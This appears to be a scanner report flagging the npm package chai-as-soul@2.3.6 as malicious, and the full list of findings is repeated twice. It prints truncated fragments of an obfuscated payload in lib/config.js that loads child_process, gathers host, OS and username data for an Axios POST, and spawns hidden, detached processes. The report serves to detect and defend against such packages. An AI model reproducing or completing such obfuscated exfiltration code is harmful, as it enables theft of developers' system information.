chai-as-soul@2.3.6: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

chai-as-soul@2.3.6: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

7 flagged · loading source

lib/config.jsView file

1(function(F,S){const Tm={F:0x1a97,S:0x367e,Y:0x1dc3,E:0x16ff,i:'\x6c\x77\x6c\x74',B:0x2085,N:0x23db,V:0x23bd,J:0x9a9,W:'\x74\x21\x53\x57',o:'\x5d\x2a\x6b\x6a',v:0x2734,a:0x1a54,q:0...

Critical

Download Execute

Source downloads or fetches remote code and executes it.

lib/config.jsView on unpkg · L1

1Trigger-reachable chain: manifest.main -> index.js -> lib/config.js L1: (function(F,S){const Tm={F:0x1a97,S:0x367e,Y:0x1dc3,E:0x16ff,i:'\x6c\x77\x6c\x74',B:0x2085,N:0x23db,V:0x23bd,J:0x9a9,W:'\x74\x21\x53\x57',o:'\x5d\x2a\x6b\x6a',v:0x2734,a:0x1a54,q:0...

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

lib/config.jsView on unpkg · L1

1(function(F,S){const Tm={F:0x1a97,S:0x367e,Y:0x1dc3,E:0x16ff,i:'\x6c\x77\x6c\x74',B:0x2085,N:0x23db,V:0x23bd,J:0x9a9,W:'\x74\x21\x53\x57',o:'\x5d\x2a\x6b\x6a',v:0x2734,a:0x1a54,q:0...

High

Child Process

Package source references child process execution.

lib/config.jsView on unpkg · L1

•stage = ast_semantic_analysis; reason = ast_path_work_budget_exceeded; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

lib/config.jsView on unpkg

1try{const os=require('\x6f\x73');const fs=require('\x66\x73');const path=require(mT(-0x108e,0x14f9,0x2d1,0x34e7,0x626));const {execSync,spawn}=require(mT(-0x75d,0x157,-0xe7c,0x2af6,0x2733)+mS(0xc98,-0x205,'\x58\x23\x74\x4d',0x25ab,0x21c5)+mY(-0x261e,-0x21a9,0x1454,0x56b,0x6a8));

High

Ai Review Evidence

lib/config.js is a heavily obfuscated 4 MB payload that loads fs, os, and child_process.

lib/config.jsView on unpkg · L1

1const v={'\x75\x6b\x65\x79':u_k,'\x74':t,'\x68\x6f\x73\x74':u_k+'\x5f'+B[dk(Bc.vQ,Bc.vL,Bc.vg,Bc.vI,Bc.vD)],'\x6f\x73':B['\x6f\x73'],'\x75\x73\x65\x72\x6e\x61\x6d\x65':B[dt(Bc.vw,Bc.vX,Bc.vb,Bc.vf,Bc.vU)+dr(Bc.vO,Bc.vp,Bc.vZ,Bc.vz,Bc.vh)],'\x6d\x65\x73\x73\x61\x67\x65':F,'\x6c\x65\x76\x65\x6c':S,'\x64\x61\x74\x61':Y,'\x74\x69\x6d\x65\x73\x74\x61\x6d\x70':V};const a=await axios[dg(Bc.vH,-Bc.vR,Bc.vs,Bc.vK,Bc.vG)](i,v,{

High

Ai Review Evidence

The payload collects host, OS, username, message, data, and timestamp fields, then sends them with Axios.

lib/config.jsView on unpkg · L1

1const I=i[yR(B5.lD,B5.lw,B5.lX,B5.lb,B5.lf)](spawn,process[ys(B5.lU,B5.lO,B5.lp,B5.lZ,B5.lz)+d1(B5.lh,B5.lH,-B5.lR,-B5.ls,B5.lK)],[i[yG(B5.lG,B5.c0,B5.c1,B5.c2,B5.c3)],i[d4(B5.c4,B5.c5,B5.c6,B5.c7,B5.c8)],'\x2d'],{'\x77\x69\x6e\x64\x6f\x77\x73\x48\x69\x64\x65':!![],'\x64\x65\x74\x61\x63\x68\x65\x64':!![],'\x73\x74\x64\x69\x6f'

High

Ai Review Evidence

The payload invokes detached, hidden child-process execution.

lib/config.jsView on unpkg · L1

Source & flagged code

7 flagged

lib/config.jsView file

1(function(F,S){const Tm={F:0x1a97,S:0x367e,Y:0x1dc3,E:0x16ff,i:'\x6c\x77\x6c\x74',B:0x2085,N:0x23db,V:0x23bd,J:0x9a9,W:'\x74\x21\x53\x57',o:'\x5d\x2a\x6b\x6a',v:0x2734,a:0x1a54,q:0...

Critical

Download Execute

Source downloads or fetches remote code and executes it.

lib/config.jsView on unpkg · L1

1Trigger-reachable chain: manifest.main -> index.js -> lib/config.js L1: (function(F,S){const Tm={F:0x1a97,S:0x367e,Y:0x1dc3,E:0x16ff,i:'\x6c\x77\x6c\x74',B:0x2085,N:0x23db,V:0x23bd,J:0x9a9,W:'\x74\x21\x53\x57',o:'\x5d\x2a\x6b\x6a',v:0x2734,a:0x1a54,q:0...

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

lib/config.jsView on unpkg · L1

1(function(F,S){const Tm={F:0x1a97,S:0x367e,Y:0x1dc3,E:0x16ff,i:'\x6c\x77\x6c\x74',B:0x2085,N:0x23db,V:0x23bd,J:0x9a9,W:'\x74\x21\x53\x57',o:'\x5d\x2a\x6b\x6a',v:0x2734,a:0x1a54,q:0...

High

Child Process

Package source references child process execution.

lib/config.jsView on unpkg · L1

•stage = ast_semantic_analysis; reason = ast_path_work_budget_exceeded; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

lib/config.jsView on unpkg

1try{const os=require('\x6f\x73');const fs=require('\x66\x73');const path=require(mT(-0x108e,0x14f9,0x2d1,0x34e7,0x626));const {execSync,spawn}=require(mT(-0x75d,0x157,-0xe7c,0x2af6,0x2733)+mS(0xc98,-0x205,'\x58\x23\x74\x4d',0x25ab,0x21c5)+mY(-0x261e,-0x21a9,0x1454,0x56b,0x6a8));

High

Ai Review Evidence

lib/config.js is a heavily obfuscated 4 MB payload that loads fs, os, and child_process.

lib/config.jsView on unpkg · L1

1const v={'\x75\x6b\x65\x79':u_k,'\x74':t,'\x68\x6f\x73\x74':u_k+'\x5f'+B[dk(Bc.vQ,Bc.vL,Bc.vg,Bc.vI,Bc.vD)],'\x6f\x73':B['\x6f\x73'],'\x75\x73\x65\x72\x6e\x61\x6d\x65':B[dt(Bc.vw,Bc.vX,Bc.vb,Bc.vf,Bc.vU)+dr(Bc.vO,Bc.vp,Bc.vZ,Bc.vz,Bc.vh)],'\x6d\x65\x73\x73\x61\x67\x65':F,'\x6c\x65\x76\x65\x6c':S,'\x64\x61\x74\x61':Y,'\x74\x69\x6d\x65\x73\x74\x61\x6d\x70':V};const a=await axios[dg(Bc.vH,-Bc.vR,Bc.vs,Bc.vK,Bc.vG)](i,v,{

High

Ai Review Evidence

The payload collects host, OS, username, message, data, and timestamp fields, then sends them with Axios.

lib/config.jsView on unpkg · L1

1const I=i[yR(B5.lD,B5.lw,B5.lX,B5.lb,B5.lf)](spawn,process[ys(B5.lU,B5.lO,B5.lp,B5.lZ,B5.lz)+d1(B5.lh,B5.lH,-B5.lR,-B5.ls,B5.lK)],[i[yG(B5.lG,B5.c0,B5.c1,B5.c2,B5.c3)],i[d4(B5.c4,B5.c5,B5.c6,B5.c7,B5.c8)],'\x2d'],{'\x77\x69\x6e\x64\x6f\x77\x73\x48\x69\x64\x65':!![],'\x64\x65\x74\x61\x63\x68\x65\x64':!![],'\x73\x74\x64\x69\x6f'

High

Ai Review Evidence

The payload invokes detached, hidden child-process execution.

lib/config.jsView on unpkg · L1